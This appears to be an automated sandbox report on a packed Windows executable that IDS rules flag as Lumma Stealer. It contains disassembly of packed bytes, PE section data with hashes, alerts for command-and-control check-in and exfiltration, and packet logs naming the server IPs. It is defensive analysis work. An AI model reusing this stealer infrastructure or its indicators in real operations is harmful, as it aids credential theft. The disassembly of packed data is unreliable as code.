push edi
dec eax
dec eax
jbe 00007F711D141AF2h
push esi
dec edx
popad
je 00007F711D141AEBh
push edx
dec esi
jc 00007F711D141AFAh
cmp byte ptr [ebx], dh
push edx
jns 00007F711D141AC7h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007F711D141ACDh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007F711D141AD7h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007F711D141ACCh
dec eax
dec ebp
jo 00007F711D141AC3h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007F711D141AD0h
insd
jnc 00007F711D141AF0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007F711D141AD8h
push edx
insb
js 00007F711D141AF1h
outsb
inc ecx
jno 00007F711D141AD2h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007F711D141ACCh
dec ebx
js 00007F711D141AC3h
jne 00007F711D141AB1h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007F711D141ADCh
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007F711D141ABAh
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007F711D141AF3h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	b1a636ba3f55208409fcf23c6cd96185	False	0.9979244220219435	data	7.977204695996007	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ejiioxjp	0x5b000	0x2b0000	0x2afc00	c2fa58b5665ca02357cde0a60665fb20	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
itphzhqt	0x30b000	0x1000	0x400	c8d5929c7324ca61bb96cb199e5e7980	False	0.775390625	data	6.1290489529579615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30c000	0x3000	0x2200	1f212875f62890317fda0e88582b4463	False	0.38671875	DOS executable (COM)	4.197160098194154	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T04:52:04.392826+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-29T04:52:04.392826+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-29T04:52:05.422604+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-29T04:52:05.422604+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-29T04:52:20.566823+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49710	188.114.97.3	443	TCP
2024-10-29T04:52:40.702711+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49826	188.114.97.3	443	TCP
2024-10-29T04:52:55.586630+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49907	188.114.97.3	443	TCP
2024-10-29T04:52:56.496545+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49917	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 04:52:03.222748041 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:03.222868919 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:03.222975016 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:03.224246025 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:03.224289894 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:03.864434958 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:03.864613056 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:03.868921995 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:03.868947983 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:03.869360924 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:03.916686058 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:03.916686058 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:03.916912079 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:04.392908096 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:04.393156052 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:04.393259048 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:04.394563913 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:04.394612074 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:04.394640923 CET	49704	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:04.394660950 CET	443	49704	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:04.446244001 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:04.446286917 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:04.446367025 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:04.446645021 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:04.446659088 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.097186089 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.097259998 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.099108934 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.099119902 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.099451065 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.101098061 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.101131916 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.101175070 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.422672033 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.422800064 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.422862053 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.422875881 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.423013926 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.423060894 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.423074961 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.423733950 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.423791885 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.423799038 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.424451113 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.424504042 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.424510956 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.466058969 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.466065884 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.513042927 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.546312094 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.546519995 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.546585083 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.546593904 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.547154903 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.547210932 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.547218084 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.547477007 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.547533035 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.547676086 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.547693014 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.547707081 CET	49705	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.547713995 CET	443	49705	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.668648005 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.668773890 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:05.668884039 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.669389009 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:05.669429064 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:06.278110981 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:06.278228045 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:06.283121109 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:06.283159971 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:06.283525944 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:06.290811062 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:06.294038057 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:06.294086933 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:19.250319004 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:19.250581980 CET	443	49706	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:19.250596046 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.250642061 CET	49706	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.336714983 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.336730957 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:19.336817026 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.337131023 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.337140083 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:19.964469910 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:19.964559078 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.965961933 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.965966940 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:19.966530085 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:19.967686892 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.967844009 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.967878103 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:19.967933893 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:19.967940092 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:20.566922903 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:20.567189932 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:20.567287922 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:20.567533970 CET	49710	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:20.567543030 CET	443	49710	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:20.804213047 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:20.804224014 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:20.804337978 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:20.804754972 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:20.804764032 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:21.419401884 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:21.419470072 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:21.420696020 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:21.420700073 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:21.420926094 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:21.427884102 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:21.428002119 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:21.428030014 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:21.428111076 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:21.428119898 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:29.336215973 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:29.336292028 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:29.336394072 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:29.336857080 CET	49718	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:29.336868048 CET	443	49718	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:29.616728067 CET	49765	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:29.616774082 CET	443	49765	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:29.616858006 CET	49765	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:29.617218971 CET	49765	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:29.617257118 CET	443	49765	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:30.227667093 CET	443	49765	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:30.227771044 CET	49765	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:30.230900049 CET	49765	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:30.230921984 CET	443	49765	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:30.231123924 CET	443	49765	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:30.237865925 CET	49765	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:30.237926960 CET	49765	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:30.237937927 CET	443	49765	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:39.575339079 CET	443	49765	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:39.575402021 CET	443	49765	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:39.575472116 CET	49765	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:39.575695992 CET	49765	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:39.575711012 CET	443	49765	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.056693077 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.056710958 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.056793928 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.057203054 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.057214022 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.698451996 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.698529005 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.699780941 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.699785948 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.700001955 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.701437950 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.702133894 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.702162981 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.702270031 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.702302933 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.702436924 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.702478886 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.702639103 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.702668905 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.702831030 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.702867031 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.703037977 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.703074932 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.703090906 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.703095913 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.703310013 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.703341961 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.703365088 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.703515053 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.703547955 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.713275909 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.713479042 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.713532925 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:40.713579893 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.713622093 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:40.713848114 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:54.261862993 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:54.262003899 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:54.262075901 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:54.331496000 CET	49826	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:54.331507921 CET	443	49826	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:54.502782106 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:54.502823114 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:54.502897024 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:54.503710985 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:54.503729105 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:55.117382050 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:55.117469072 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:55.118697882 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:55.118710995 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:55.119029999 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:55.120640039 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:55.120666981 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:55.120718956 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:55.586633921 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:55.586708069 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:55.586774111 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:55.586992979 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:55.587002039 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:55.587029934 CET	49907	443	192.168.2.5	188.114.97.3
Oct 29, 2024 04:52:55.587035894 CET	443	49907	188.114.97.3	192.168.2.5
Oct 29, 2024 04:52:55.590773106 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:55.596165895 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:55.596273899 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:55.596462011 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:55.601790905 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496417046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496480942 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496535063 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496545076 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.496572018 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496606112 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496629953 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.496640921 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496676922 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496689081 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.496728897 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496763945 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496777058 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.496814966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.496860981 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.502182007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.502218008 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.502274990 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.648914099 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.648967981 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.649002075 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.649041891 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.649092913 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.649127007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.649147987 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.649245977 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.649301052 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.649302006 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.649357080 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.649390936 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.649403095 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.649456024 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.649502039 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.650217056 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.650278091 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.650310993 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.650331020 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.650384903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.650422096 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.650437117 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.651158094 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.651190996 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.651223898 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.651225090 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.651273012 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.651293039 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.651343107 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.651392937 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.652174950 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.652209044 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.652261019 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.654444933 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.700540066 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.808825016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.808868885 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.808923006 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.808957100 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.808991909 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.809019089 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.809026957 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.809062958 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.809088945 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.809115887 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.809165955 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:56.809166908 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:56.809201956 CET	80	49917	185.215.113.16	192.168.2.5
